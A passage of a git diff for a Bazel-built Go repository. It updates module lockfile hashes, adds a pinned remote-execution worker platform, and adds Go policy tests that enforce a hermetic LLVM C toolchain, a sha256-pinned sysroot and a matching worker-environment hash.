"e45b6bb2350aff3e442ae1111c555e27eac1d915e77775f6fdc4b351b758b5d7", "https://bcr.bazel.build/modules/bazel_features/1.42.1/MODULE.bazel": "275a59b5406ff18c01739860aa70ad7ccb3cfb474579411decca11c93b951080", "https://bcr.bazel.build/modules/bazel_features/1.42.1/source.json": "fcd4396b2df85f64f2b3bb436ad870793ecf39180f1d796f913cc9276d355309", + "https://bcr.bazel.build/modules/bazel_features/1.9.0/MODULE.bazel": "885151d58d90d8d9c811eb75e3288c11f850e1d6b481a8c9f766adee4712358b", "https://bcr.bazel.build/modules/bazel_features/1.9.1/MODULE.bazel": "8f679097876a9b609ad1f60249c49d68bfab783dd9be012faf9d82547b14815a", "https://bcr.bazel.build/modules/bazel_skylib/1.0.3/MODULE.bazel": "bcb0fd896384802d1ad283b4e4eb4d718eebd8cb820b0a2c3a347fb971afd9d8", "https://bcr.bazel.build/modules/bazel_skylib/1.1.1/MODULE.bazel": "1add3e7d93ff2e6998f9e118022c84d163917d912f5afafb3058e3d2f1545b5e", @@ -56,6 +63,8 @@ "https://bcr.bazel.build/modules/bazel_skylib/1.8.2/source.json": "34a3c8bcf233b835eb74be9d628899bb32999d3e0eadef1947a0a562a2b16ffb", "https://bcr.bazel.build/modules/buildozer/8.5.1/MODULE.bazel": "a35d9561b3fc5b18797c330793e99e3b834a473d5fbd3d7d7634aafc9bdb6f8f", "https://bcr.bazel.build/modules/buildozer/8.5.1/source.json": "e3386e6ff4529f2442800dee47ad28d3e6487f36a1f75ae39ae56c70f0cd2fbd", + "https://bcr.bazel.build/modules/gawk/5.3.2.bcr.1/MODULE.bazel": "cdf8cbe5ee750db04b78878c9633cc76e80dcf4416cbe982ac3a9222f80713c8", + "https://bcr.bazel.build/modules/gawk/5.3.2.bcr.1/source.json": "fa7b512dfcb5eafd90ce3959cf42a2a6fe96144ebbb4b3b3928054895f2afac2", "https://bcr.bazel.build/modules/gazelle/0.32.0/MODULE.bazel": "b499f58a5d0d3537f3cf5b76d8ada18242f64ec474d8391247438bf04f58c7b8", "https://bcr.bazel.build/modules/gazelle/0.33.0/MODULE.bazel": "a13a0f279b462b784fb8dd52a4074526c4a2afe70e114c7d09066097a46b3350", "https://bcr.bazel.build/modules/gazelle/0.34.0/MODULE.bazel": "abdd8ce4d70978933209db92e436deb3a8b737859e9354fb5fd11fb5c2004c8a", @@ -70,12 +79,17 @@ "https://bcr.bazel.build/modules/googletest/1.15.2/MODULE.bazel": "6de1edc1d26cafb0ea1a6ab3f4d4192d91a312fd2d360b63adaa213cd00b2108", "https://bcr.bazel.build/modules/googletest/1.17.0/MODULE.bazel": "dbec758171594a705933a29fcf69293d2468c49ec1f2ebca65c36f504d72df46", "https://bcr.bazel.build/modules/googletest/1.17.0/source.json": "38e4454b25fc30f15439c0378e57909ab1fd0a443158aa35aec685da727cd713", + "https://bcr.bazel.build/modules/jq.bzl/0.1.0/MODULE.bazel": "2ce69b1af49952cd4121a9c3055faa679e748ce774c7f1fda9657f936cae902f", + "https://bcr.bazel.build/modules/jq.bzl/0.1.0/source.json": "746bf13cac0860f091df5e4911d0c593971cd8796b5ad4e809b2f8e133eee3d5", "https://bcr.bazel.build/modules/jsoncpp/1.9.5/MODULE.bazel": "31271aedc59e815656f5736f282bb7509a97c7ecb43e927ac1a37966e0578075", "https://bcr.bazel.build/modules/jsoncpp/1.9.6/MODULE.bazel": "2f8d20d3b7d54143213c4dfc3d98225c42de7d666011528dc8fe91591e2e17b0", "https://bcr.bazel.build/modules/jsoncpp/1.9.6/source.json": "a04756d367a2126c3541682864ecec52f92cdee80a35735a3cb249ce015ca000", "https://bcr.bazel.build/modules/libpfm/4.11.0/MODULE.bazel": "45061ff025b301940f1e30d2c16bea596c25b176c8b6b3087e92615adbd52902", + "https://bcr.bazel.build/modules/mboworks_bzl/0.5.1/MODULE.bazel": "20c921aded4f4e00a6128dad47a843371c196ba8987474c11c8ba7b9da8c16f1", + "https://bcr.bazel.build/modules/mboworks_bzl/0.5.1/source.json": "3d9086bb203475113a16afb0ca0c9b97fdb37fc6e5a62b604b60ffc2450dc8c5", "https://bcr.bazel.build/modules/nlohmann_json/3.6.1/MODULE.bazel": "6f7b417dcc794d9add9e556673ad25cb3ba835224290f4f848f8e2db1e1fca74", "https://bcr.bazel.build/modules/nlohmann_json/3.6.1/source.json": "f448c6e8963fdfa7eb831457df83ad63d3d6355018f6574fb017e8169deb43a9", + "https://bcr.bazel.build/modules/package_metadata/0.0.2/MODULE.bazel": "fb8d25550742674d63d7b250063d4580ca530499f045d70748b1b142081ebb92", "https://bcr.bazel.build/modules/package_metadata/0.0.3/MODULE.bazel": "77890552ecea9e284b5424c9de827a58099348763a4359e975c359a83d4faa83", "https://bcr.bazel.build/modules/package_metadata/0.0.5/MODULE.bazel": "ef4f9439e3270fdd6b9fd4dbc3d2f29d13888e44c529a1b243f7a31dfbc2e8e4", "https://bcr.bazel.build/modules/package_metadata/0.0.5/source.json": "2326db2f6592578177751c3e1f74786b79382cd6008834c9d01ec865b9126a85", @@ -144,6 +158,7 @@ "https://bcr.bazel.build/modules/rules_go/0.63.0/source.json": "5bf37b45c440ac03abad0cbfa8b8b8dd89cc4e82bc8305f468b8436fa58bae78", "https://bcr.bazel.build/modules/rules_java/4.0.0/MODULE.bazel": "5a78a7ae82cd1a33cef56dc578c7d2a46ed0dca12643ee45edbb8417899e6f74", "https://bcr.bazel.build/modules/rules_java/5.3.5/MODULE.bazel": "a4ec4f2db570171e3e5eb753276ee4b389bae16b96207e9d3230895c99644b86", + "https://bcr.bazel.build/modules/rules_java/6.3.0/MODULE.bazel": "a97c7678c19f236a956ad260d59c86e10a463badb7eb2eda787490f4c969b963", "https://bcr.bazel.build/modules/rules_java/6.5.2/MODULE.bazel": "1d440d262d0e08453fa0c4d8f699ba81609ed0e9a9a0f02cd10b3e7942e61e31", "https://bcr.bazel.build/modules/rules_java/7.10.0/MODULE.bazel": "530c3beb3067e870561739f1144329a21c851ff771cd752a49e06e3dc9c2e71a", "https://bcr.bazel.build/modules/rules_java/7.12.2/MODULE.bazel": "579c505165ee757a4280ef83cda0150eea193eed3bef50b1004ba88b99da6de6", @@ -190,6 +205,7 @@ "https://bcr.bazel.build/modules/rules_python/1.7.0/source.json": "028a084b65dcf8f4dc4f82f8778dbe65df133f234b316828a82e060d81bdce32", "https://bcr.bazel.build/modules/rules_shell/0.2.0/MODULE.bazel": "fda8a652ab3c7d8fee214de05e7a9916d8b28082234e8d2c0094505c5268ed3c", "https://bcr.bazel.build/modules/rules_shell/0.3.0/MODULE.bazel": "de4402cd12f4cc8fda2354fce179fdb068c0b9ca1ec2d2b17b3e21b24c1a937b", + "https://bcr.bazel.build/modules/rules_shell/0.4.1/MODULE.bazel": "00e501db01bbf4e3e1dd1595959092c2fadf2087b2852d3f553b5370f5633592", "https://bcr.bazel.build/modules/rules_shell/0.6.1/MODULE.bazel": "72e76b0eea4e81611ef5452aa82b3da34caca0c8b7b5c0c9584338aa93bae26b", "https://bcr.bazel.build/modules/rules_shell/0.6.1/source.json": "20ec05cd5e592055e214b2da8ccb283c7f2a421ea0dc2acbf1aa792e11c03d0c", "https://bcr.bazel.build/modules/rules_swift/1.16.0/MODULE.bazel": "4a09f199545a60d09895e8281362b1ff3bb08bbde69c6fc87aff5b92fcc916ca", @@ -199,13 +215,21 @@ "https://bcr.bazel.build/modules/rules_swift/3.1.2/source.json": "e85761f3098a6faf40b8187695e3de6d97944e98abd0d8ce579cb2daf6319a66", "https://bcr.bazel.build/modules/stardoc/0.5.1/MODULE.bazel": "1a05d92974d0c122f5ccf09291442580317cdd859f07a8655f1db9a60374f9f8", "https://bcr.bazel.build/modules/stardoc/0.5.3/MODULE.bazel": "c7f6948dae6999bf0db32c1858ae345f112cacf98f174c7a8bb707e41b974f1c", + "https://bcr.bazel.build/modules/stardoc/0.6.2/MODULE.bazel": "7060193196395f5dd668eda046ccbeacebfd98efc77fed418dbe2b82ffaa39fd", "https://bcr.bazel.build/modules/stardoc/0.7.0/MODULE.bazel": "05e3d6d30c099b6770e97da986c53bd31844d7f13d41412480ea265ac9e8079c", "https://bcr.bazel.build/modules/stardoc/0.7.2/MODULE.bazel": "fc152419aa2ea0f51c29583fab1e8c99ddefd5b3778421845606ee628629e0e5", "https://bcr.bazel.build/modules/stardoc/0.7.2/source.json": "58b029e5e901d6802967754adf0a9056747e8176f017cfe3607c0851f4d42216", "https://bcr.bazel.build/modules/swift_argument_parser/1.3.1.1/MODULE.bazel": "5e463fbfba7b1701d957555ed45097d7f984211330106ccd1352c6e0af0dcf91", "https://bcr.bazel.build/modules/swift_argument_parser/1.3.1.2/MODULE.bazel": "75aab2373a4bbe2a1260b9bf2a1ebbdbf872d3bd36f80bff058dccd82e89422f", "https://bcr.bazel.build/modules/swift_argument_parser/1.3.1.2/source.json": "5fba48bbe0ba48761f9e9f75f92876cafb5d07c0ce059cc7a8027416de94a05b", + "https://bcr.bazel.build/modules/tar.bzl/0.2.1/MODULE.bazel": "52d1c00a80a8cc67acbd01649e83d8dd6a9dc426a6c0b754a04fe8c219c76468", + "https://bcr.bazel.build/modules/tar.bzl/0.6.0/MODULE.bazel": "a3584b4edcfafcabd9b0ef9819808f05b372957bbdff41601429d5fd0aac2e7c", + "https://bcr.bazel.build/modules/tar.bzl/0.6.0/source.json": "4a620381df075a16cb3a7ed57bd1d05f7480222394c64a20fa51bdb636fda658", + "https://bcr.bazel.build/modules/toolchains_llvm/1.11.0/MODULE.bazel": "c0b9c103deeaf0fc103934ff0a189273b4f9b82cc1622c59b67e1c3a83d6b5e6", + "https://bcr.bazel.build/modules/toolchains_llvm/1.11.0/source.json": "d06e53520101c3890a094e5849b0ff16dde3a6f6531f25c997f340ebff34d569", "https://bcr.bazel.build/modules/upb/0.0.0-20220923-a547704/MODULE.bazel": "7298990c00040a0e2f121f6c32544bab27d4452f80d9ce51349b1a28f3005c43", + "https://bcr.bazel.build/modules/yq.bzl/0.1.1/MODULE.bazel": "9039681f9bcb8958ee2c87ffc74bdafba9f4369096a2b5634b88abc0eaefa072", + "https://bcr.bazel.build/modules/yq.bzl/0.1.1/source.json": "2d2bad780a9f2b9195a4a370314d2c17ae95eaa745cefc2e12fbc49759b15aa3", "https://bcr.bazel.build/modules/zlib/1.2.11/MODULE.bazel": "07b389abc85fdbca459b69e2ec656ae5622873af3f845e1c9d80fe179f3effa0", "https://bcr.bazel.build/modules/zlib/1.2.12/MODULE.bazel": "3b1a8834ada2a883674be8cbd36ede1b6ec481477ada359cd2d3ddc562340b27", "https://bcr.bazel.build/modules/zlib/1.3.1.bcr.5/MODULE.bazel": "eec517b5bbe5492629466e11dae908d043364302283de25581e3eb944326c4ca", @@ -490,6 +514,26 @@ } } } + }, + "@@toolchains_llvm+//toolchain/extensions:distributions.bzl%llvm_distributions": { + "general": { + "bzlTransitiveDigest": "RfYsFLwRh0rVY8ReiYgbOEyr84zuBs7mbcHq3dPY3jI=", + "usagesDigest": "vl2VXD2E16aV3RG06i5tx7yyYASHiQFjvsiNZSDzQIg=", + "recordedInputs": [], + "generatedRepoSpecs": { + "llvm_distributions_data": { + "repoRuleId": "@@toolchains_llvm+//toolchain/internal:distributions_repo.bzl%llvm_distributions_repo", + "attributes": { + "srcs": [ + "@@toolchains_llvm+//toolchain/distributions:pre_github.jsonc", + "@@toolchains_llvm+//toolchain/distributions:github_legacy.jsonc", + "@@toolchains_llvm+//toolchain/distributions:github.jsonc", + "@@toolchains_llvm+//toolchain/distributions:extra.jsonc" + ] + } + } + } + } } }, "facts": { diff --git a/platforms/BUILD.bazel b/platforms/BUILD.bazel new file mode 100644 index 000000000..eab8c95d0 --- /dev/null +++ b/platforms/BUILD.bazel @@ -0,0 +1,49 @@ +# rbe_worker: the execution platform of every build (.bazelrc selects it +# unconditionally with --extra_execution_platforms, so every action and test +# executes on it and local, fork-cache and remote runs hash alike). +# +# Test actions exec host tools (bash, git, coreutils, ...) and load the +# shared libraries of every cgo binary they link (glibc, libstdc++), so the +# worker host is an input to every cached result. Its exec_properties enter +# each action's key: worker-env is the sha256 of tools/rbe/worker-env.txt, +# the manifest of the pinned worker host. +# +# rbe-west's OSS pool is shared with gastownhall/gascity, which owns the +# worker image: its tools/rbe/blacksmith-worker.sh advertises the sha256 of +# the manifest it measures on its own host (gascity tools/rbe/worker-env), +# and the schedulers match worker-env exactly, so these actions run only on +# the pinned host. tools/rbe/worker-env.txt is a byte-for-byte copy of +# gascity's: when gascity moves its pin (a new runner image, a package or Go +# upgrade), copy its manifest here and update this sha256 in the same +# commit, which is a new key for every action. +# scripts/bazel_hermetic_cc_test.go keeps the pin and the manifest in step. +platform( + name = "rbe_worker", + exec_properties = { + "worker-env": "sha256:f4d6d0460877031a71cd0ddb4dc67e789c4e54fc18c0d888fa818c84f8cf61ed", + }, + parents = ["@bazel_tools//tools:host_platform"], + visibility = ["//visibility:public"], +) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index 4f4b2e617..07f33cdc0 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -18,6 +18,7 @@ go_test( "bazel_cache_mode_test.go", "bazel_farm_workflow_test.go", "bazel_fork_mode_test.go", + "bazel_hermetic_cc_test.go", "bazel_policy_test.go", "bazel_rbe_prewarm_test.go", "bazel_skip_allowlist_test.go", @@ -43,6 +44,7 @@ go_test( "pr_preflight_test.go", "pr_risk_bazel_coverage_test.go", "pull_dolt_image_test.go", + "rbe_worker_env_test.go", "release_script_test.go", "required_suite_test.go", "test_script_test.go", diff --git a/scripts/bazel_hermetic_cc_test.go b/scripts/bazel_hermetic_cc_test.go new file mode 100644 index 000000000..bd0a74721 --- /dev/null +++ b/scripts/bazel_hermetic_cc_test.go @@ -0,0 +1,273 @@ +package scripts_test + +import ( + "errors" + "regexp" + "strings" + "testing" +) + +// rules_go builds the Go stdlib (under -race) and every cgo package with the +// registered C toolchain, and every Go compile depends on the stdlib, so the +// C toolchain is an input of nearly every action key. A host-detected toolchain +// (local_config_cc) puts the host's gcc path, its lld availability and +// gcc-version-specific generated files into those keys, so developer, fork +// and CI runs never share results, and a client with lld (which the workers +// lack) fails every remote cgo/-race link. MODULE.bazel therefore registers LLVM and +// a sysroot fetched by sha256 (byte-identical on every Linux x86_64 host), +// and .bazelrc turns host detection off so nothing falls back to the host +// compiler silently. + +const ( + hermeticCCModuleFile = "MODULE.bazel" + hermeticCCDetectOff = "--repo_env=BAZEL_DO_NOT_DETECT_CPP_TOOLCHAIN=1" + hermeticCCToolchains = `register_toolchains("@llvm_toolchain//:all")` + hermeticCCSysrootLabel = "@cc_sysroot_noble_amd64//:sysroot" + hermeticCCLLVMLabel = "@llvm_dist_linux_x86_64//:BUILD.bazel" + // Every other host's stock LLVM release (toolchains_llvm's sha256 table). + hermeticCCHostLLVMLabel = "@llvm_dist_host//:BUILD.bazel" +) + +var ( + sha256HexRE = regexp.MustCompile(`^[0-9a-f]{64}$`) + // snapshot.ubuntu.com serves each timestamp's archive state forever; a + // moving mirror (archive.ubuntu.com) may only follow it as a fallback. + ubuntuSnapshotRE = regexp.MustCompile(`^https://snapshot\.ubuntu\.com/ubuntu/\d{8}T\d{6}Z/$`) +) + +// moduleCall returns the argument text of the single top-level call +// `(\n...\n)` in MODULE.bazel whose arguments contain marker. +func moduleCall(module, fn, marker string) (string, error) { + var found []string + for _, m := range regexp.MustCompile(`(?ms)^`+regexp.QuoteMeta(fn)+`\(\n(.*?)^\)`).FindAllStringSubmatch(module, -1) { + if strings.Contains(m[1], marker) { + found = append(found, m[1]) + } + } + if len(found) != 1 { + return "", errors.New(hermeticCCModuleFile + ": want exactly one " + fn + "(...) naming " + marker) + } + return found[0], nil +} + +// quotedPairs returns the "key": "value" entries of a Starlark dict body. +func quotedPairs(s string) map[string]string { + out := map[string]string{} + for _, m := range regexp.MustCompile(`"([^"]+)":\s*"([^"]*)"`).FindAllStringSubmatch(s, -1) { + out[m[1]] = m[2] + } + return out +} + +func checkHermeticCCModule(module string) []error { + var errs []error + for _, want := range []string{ + `bazel_dep(name = "toolchains_llvm", `, + hermeticCCToolchains, + } { + if !strings.Contains(module, want) { + errs = append(errs, errors.New(hermeticCCModuleFile+" must contain "+want)) + } + } + for _, m := range regexp.MustCompile(`(?s)register_toolchains\((.*?)\)`).FindAllStringSubmatch(module, -1) { + if strings.Contains(m[1], "local_config_cc") || strings.Contains(m[1], "@bazel_tools//tools/cpp") { + errs = append(errs, errors.New(hermeticCCModuleFile+" registers a host-detected C/C++ toolchain: "+m[0])) + } + } + + if sysroot, err := moduleCall(module, "llvm.sysroot", hermeticCCSysrootLabel); err != nil { + errs = append(errs, err) + } else if !strings.Contains(sysroot, `targets = ["linux-x86_64"]`) { + errs = append(errs, errors.New("llvm.sysroot must apply to linux-x86_64")) + } + if _, err := moduleCall(module, "llvm.toolchain_root", hermeticCCLLVMLabel); err != nil { + errs = append(errs, err) + } + // toolchains_llvm creates no stock distribution once any toolchain_root + // is set, and fails every build on a host no root covers ("LLVM toolchain + // root missing"), so the other hosts (macOS, Linux arm64) need a root + // without targets. + if root, err := moduleCall(module, "llvm.toolchain_root", hermeticCCHostLLVMLabel); err != nil { + errs = append(errs, err) + } else if strings.Contains(root, "targets") { + errs = append(errs, errors.New("llvm.toolchain_root naming "+hermeticCCHostLLVMLabel+" must be the fallback (no targets)")) + } + if dist, err := moduleCall(module, "llvm_host_dist", `name = "llvm_dist_host"`); err != nil { + errs = append(errs, err) + } else if !strings.Contains(dist, "llvm_version = LLVM_VERSION,") || !strings.Contains(dist, `llvm_versions = {"": LLVM_VERSION},`) { + // The bare `llvm` rule reads llvm_versions (llvm_toolchain's macro + // fills it in from llvm_version; use_repo_rule does not). + errs = append(errs, errors.New("llvm_host_dist must set llvm_version and llvm_versions to LLVM_VERSION, whose per-host sha256 toolchains_llvm pins")) + } + + if dist, err := moduleCall(module, "llvm_dist", `name = "llvm_dist_linux_x86_64"`); err != nil { + errs = append(errs, err) + } else if m := regexp.MustCompile(`sha256 = "([^"]*)"`).FindStringSubmatch(dist); m == nil || !sha256HexRE.MatchString(m[1]) { + errs = append(errs, errors.New("llvm_dist must pin its archive by sha256")) + } + + if sysroot, err := moduleCall(module, "deb_sysroot", `name = "cc_sysroot_noble_amd64"`); err != nil { + errs = append(errs, err) + } else { + mirrors := regexp.MustCompile(`(?s)mirrors = \[\s*"([^"]+)"`).FindStringSubmatch(sysroot) + if mirrors == nil || !ubuntuSnapshotRE.MatchString(mirrors[1]) { + errs = append(errs, errors.New("deb_sysroot's first mirror must be an immutable snapshot.ubuntu.com/ubuntu// root")) + } + body := regexp.MustCompile(`(?s)packages = \{(.*?)\}`).FindStringSubmatch(sysroot) + if body == nil { + errs = append(errs, errors.New("deb_sysroot has no packages")) + } else { + pkgs := quotedPairs(body[1]) + if len(pkgs) == 0 { + errs = append(errs, errors.New("deb_sysroot has no packages")) + } + for path, sum := range pkgs { + if !strings.HasPrefix(path, "pool/") || !strings.HasSuffix(path, "_amd64.deb") || !sha256HexRE.MatchString(sum) { + errs = append(errs, errors.New("deb_sysroot package "+path+" must be an amd64 pool .deb pinned by sha256")) + } + // ICU policy (engdocs/ICU-POLICY.md): nothing links libicu, + // so the sysroot offers no ICU to link against. + if strings.Contains(path, "/icu/") { + errs = append(errs, errors.New("deb_sysroot package "+path+" ships ICU, which beads must never link (engdocs/ICU-POLICY.md)")) + } + } + } + } + return errs +} + +// checkHermeticCCBazelRC: host detection is off unconditionally (every +// command, every config) and nothing hands actions a host compiler. +func checkHermeticCCBazelRC(rc string) []error { + var errs []error + off := false + for _, line := range strings.Split(rc, "\n") { + fields := strings.Fields(line) + if len(fields) < 2 || strings.HasPrefix(fields[0], "#") { + continue + } + command, config, _ := strings.Cut(fields[0], ":") + for _, flag := range fields[1:] { + if strings.HasPrefix(flag, "#") { + break + } + name, value, _ := strings.Cut(flag, "=") + envName, _, _ := strings.Cut(value, "=") + switch { + case flag == hermeticCCDetectOff && command == "common" && config == "": + off = true + case envName == "BAZEL_DO_NOT_DETECT_CPP_TOOLCHAIN" && flag != hermeticCCDetectOff: + errs = append(errs, errors.New(".bazelrc: "+line+" re-enables host C/C++ toolchain detection")) + case (name == "--repo_env" || name == "--action_env" || name == "--host_action_env") && + (envName == "CC" || envName == "CXX" || envName == "BAZEL_USE_CPP_ONLY_TOOLCHAIN"): + errs = append(errs, errors.New(".bazelrc: "+line+" points C/C++ builds at a host compiler")) + case (name == "--extra_toolchains" || name == "--crosstool_top" || name == "--host_crosstool_top") && + (strings.Contains(value, "local_config_cc") || strings.Contains(value, "@bazel_tools//tools/cpp")): + errs = append(errs, errors.New(".bazelrc: "+line+" selects the host-detected C/C++ toolchain")) + } + } + } + if !off { + errs = append(errs, errors.New(".bazelrc must set `common "+hermeticCCDetectOff+"` unconditionally")) + } + return errs +} + +func TestBazelHermeticCCToolchain(t *testing.T) { + root := bazelPolicyRoot(t) + for _, err := range checkHermeticCCModule(readPolicyFile(t, root, hermeticCCModuleFile)) { + t.Error(err) + } + for _, err := range checkHermeticCCBazelRC(readPolicyFile(t, root, ".bazelrc")) { + t.Error(err) + } +} + +func TestBazelHermeticCCToolchainGuards(t *testing.T) { + sum := strings.Repeat("ab", 32) + module := `bazel_dep(name = "rules_go", version = "0.63.0") +bazel_dep(name = "toolchains_llvm", version = "1.11.0") + +deb_sysroot( + name = "cc_sysroot_noble_amd64", + mirrors = [ + "https://snapshot.ubuntu.com/ubuntu/20261001T000000Z/", + "https://archive.ubuntu.com/ubuntu/", + ], + packages = { + "pool/main/g/glibc/libc6-dev_2.39-0ubuntu8.9_amd64.deb": "` + sum + `", + }, +) + +llvm_dist( + name = "llvm_dist_linux_x86_64", + sha256 = "` + sum + `", +) + +llvm_host_dist( + name = "llvm_dist_host", + llvm_version = LLVM_VERSION, + llvm_versions = {"": LLVM_VERSION}, +) + +llvm.toolchain_root( + name = "llvm_toolchain", + label = "` + hermeticCCLLVMLabel + `", + targets = ["linux-x86_64"], +) +llvm.toolchain_root( + name = "llvm_toolchain", + label = "` + hermeticCCHostLLVMLabel + `", +) +llvm.sysroot( + name = "llvm_toolchain", + label = "` + hermeticCCSysrootLabel + `", + targets = ["linux-x86_64"], +) + +` + hermeticCCToolchains + "\n" + if errs := checkHermeticCCModule(module); len(errs) != 0 { + t.Fatalf("good MODULE.bazel fixture: %v", errs) + } + for name, bad := range map[string]string{ + "no toolchains_llvm": strings.Replace(module, `bazel_dep(name = "toolchains_llvm", version = "1.11.0")`, "", 1), + "no registration": strings.Replace(module, hermeticCCToolchains, "", 1), + "second registration": module + `register_toolchains("@local_config_cc//:all")` + "\n", + "no sysroot": strings.Replace(module, "llvm.sysroot(", "llvm.other(", 1), + "host LLVM": strings.Replace(module, "llvm.toolchain_root(", "llvm.other(", 1), + "no other-host root": strings.Replace(module, "label = \""+hermeticCCHostLLVMLabel+"\",", "", 1), + "other-host root scoped": strings.Replace(module, "label = \""+hermeticCCHostLLVMLabel+"\",", "label = \""+hermeticCCHostLLVMLabel+"\",\n targets = [\"darwin-aarch64\"],", 1), + "no other-host dist": strings.Replace(module, "llvm_host_dist(", "other(", 1), + "other-host dist version": strings.Replace(module, "llvm_version = LLVM_VERSION", `llvm_version = "17.0.6"`, 1), + "other-host dist versions": strings.Replace(module, `llvm_versions = {"": LLVM_VERSION},`, "", 1), + "unpinned LLVM": strings.Replace(module, ` sha256 = "`+sum+`",`+"\n)", "\n)", 1), + "moving mirror first": strings.Replace(module, `"https://snapshot.ubuntu.com/ubuntu/20261001T000000Z/",`, "", 1), + "unpinned package": strings.Replace(module, `_amd64.deb": "`+sum+`"`, `_amd64.deb": ""`, 1), + "ICU in sysroot": strings.Replace(module, " packages = {\n", " packages = {\n \"pool/main/i/icu/libicu74_74.2-1ubuntu3.1_amd64.deb\": \""+sum+"\",\n", 1), + "sysroot other targets": strings.Replace(module, "label = \""+hermeticCCSysrootLabel+"\",\n targets = [\"linux-x86_64\"]", "label = \""+hermeticCCSysrootLabel+"\",\n targets = []", 1), + } { + if len(checkHermeticCCModule(bad)) == 0 { + t.Errorf("%s: expected an error for MODULE.bazel fixture:\n%s", name, bad) + } + } + + rc := "common --enable_bzlmod\ncommon " + hermeticCCDetectOff + "\ntest --test_output=errors\n" + if errs := checkHermeticCCBazelRC(rc); len(errs) != 0 { + t.Fatalf("good .bazelrc fixture: %v", errs) + } + for name, bad := range map[string]string{ + "detection on": strings.Replace(rc, "common "+hermeticCCDetectOff+"\n", "", 1), + "only for build": strings.Replace(rc, "common "+hermeticCCDetectOff, "build "+hermeticCCDetectOff, 1), + "only in a config": strings.Replace(rc, "common "+hermeticCCDetectOff, "common:ci "+hermeticCCDetectOff, 1), + "commented out": strings.Replace(rc, "common "+hermeticCCDetectOff, "# common "+hermeticCCDetectOff, 1), + "re-enabled": rc + "build:remote-exec --repo_env=BAZEL_DO_NOT_DETECT_CPP_TOOLCHAIN=0\n", + "host CC": rc + "build --repo_env=CC=/usr/bin/gcc\n", + "host CC action env": rc + "build --action_env=CC\n", + "local_config_cc": rc + "build --extra_toolchains=@local_config_cc//:all\n", + "bazel_tools crosstool": rc + "build --crosstool_top=@bazel_tools//tools/cpp:toolchain\n", + } { + if len(checkHermeticCCBazelRC(bad)) == 0 { + t.Errorf("%s: expected an error for .bazelrc fixture:\n%s", name, bad) + } + } +} diff --git a/scripts/rbe_worker_env_test.go b/scripts/rbe_worker_env_test.go new file mode 100644 index 000000000..0a3408672 --- /dev/null +++ b/scripts/rbe_worker_env_test.go @@ -0,0 +1,119 @@ +package scripts_test + +import ( + "crypto/sha256" + "encoding/hex" + "errors" + "regexp" + "strings" + "testing" +) + +// Test actions exec host tools and load the shared libraries of every cgo +// binary they link, so the remote worker host is an input to every result +// rbe-west caches. //platforms:rbe_worker puts it into the action key: its +// worker-env exec property is the sha256 of tools/rbe/worker-env.txt, and +// rbe-west's schedulers run an action only on a worker that advertises that +// exact value. The OSS pool and its manifest are gastownhall/gascity's +// (tools/rbe/worker-env, blacksmith-worker.sh); beads commits a copy of the +// manifest so the pin is reviewable and moves only with it. + +const ( + rbeWorkerPlatformBuild = "platforms/BUILD.bazel" + rbeWorkerEnvManifest = "tools/rbe/worker-env.txt" + rbeWorkerPlatformFlag = "--extra_execution_platforms=//platforms:rbe_worker" +) + +var ( + rbeWorkerPlatformRE = regexp.MustCompile(`(?s)\nplatform\(\n name = "rbe_worker",\n(.*?)\n\)\n`) + rbeExecPropsRE = regexp.MustCompile(`(?s)exec_properties = \{\n(.*?)\n \},`) + rbeExecPropRE = regexp.MustCompile(`^\s*"([^"]+)": "([^"]*)",$`) + workerEnvPinRE = regexp.MustCompile(`^sha256:[0-9a-f]{64}$`) +) + +// checkRBEWorkerPlatform: the rbe_worker platform's only exec property is +// worker-env, pinned to the sha256 of manifest. Any other property would be +// one no OSS worker advertises, and no action would ever schedule. +func checkRBEWorkerPlatform(build, manifest string) []error { + m := rbeWorkerPlatformRE.FindStringSubmatch(build) + if m == nil { + return []error{errors.New(rbeWorkerPlatformBuild + ": no platform rbe_worker")} + } + props := rbeExecPropsRE.FindStringSubmatch(m[1]) + if props == nil { + return []error{errors.New(rbeWorkerPlatformBuild + ": platform rbe_worker has no exec_properties")} + } + got := map[string]string{} + for _, line := range strings.Split(props[1], "\n") { + e := rbeExecPropRE.FindStringSubmatch(line) + if e == nil { + return []error{errors.New(rbeWorkerPlatformBuild + ": unexpected exec_properties line " + line)} + } + got[e[1]] = e[2] + } + pin := got["worker-env"] + if len(got) != 1 || !workerEnvPinRE.MatchString(pin) { + return []error{errors.New(rbeWorkerPlatformBuild + ": rbe_worker exec_properties must be worker-env=sha256: alone")} + } + sum := sha256.Sum256([]byte(manifest)) + if want := "sha256:" + hex.EncodeToString(sum[:]); pin != want { + return []error{errors.New(rbeWorkerPlatformBuild + " pins worker-env=" + pin + ", but " + + rbeWorkerEnvManifest + " hashes to " + want + ": commit the manifest and its sha256 together")} + } + return nil +} + +// checkRBEWorkerSelected: every command executes on rbe_worker (the flag is +// key-affecting, so it may not depend on a config or command). +func checkRBEWorkerSelected(rc string) error { + for _, line := range strings.Split(rc, "\n") { + if strings.TrimSpace(line) == "build "+rbeWorkerPlatformFlag { + return nil + } + } + return errors.New(".bazelrc must set `build " + rbeWorkerPlatformFlag + "` unconditionally") +} + +func TestRBEWorkerPlatformPinsWorkerEnv(t *testing.T) { + root := bazelPolicyRoot(t) + for _, err := range checkRBEWorkerPlatform(readPolicyFile(t, root, rbeWorkerPlatformBuild), readPolicyFile(t, root, rbeWorkerEnvManifest)) { + t.Error(err) + } + if err := checkRBEWorkerSelected(readPolicyFile(t, root, ".bazelrc")); err != nil { + t.Error(err) + } +} + +func TestRBEWorkerPlatformGuards(t *testing.T) { + manifest := "arch x86_64\nos ubuntu 24.04\n" + sum := sha256.Sum256([]byte(manifest)) + pin := "sha256:" + hex.EncodeToString(sum[:]) + build := "# header\nplatform(\n name = \"rbe_worker\",\n exec_properties = {\n \"worker-env\": \"" + pin + "\",\n },\n parents = [\"@bazel_tools//tools:host_platform\"],\n)\n" + if errs := checkRBEWorkerPlatform(build, manifest); len(errs) != 0 { + t.Fatalf("good platform fixture: %v", errs) + } + for name, bad := range map[string][2]string{ + "manifest moved": {build, manifest + "pkg git 1\n"}, + "no platform": 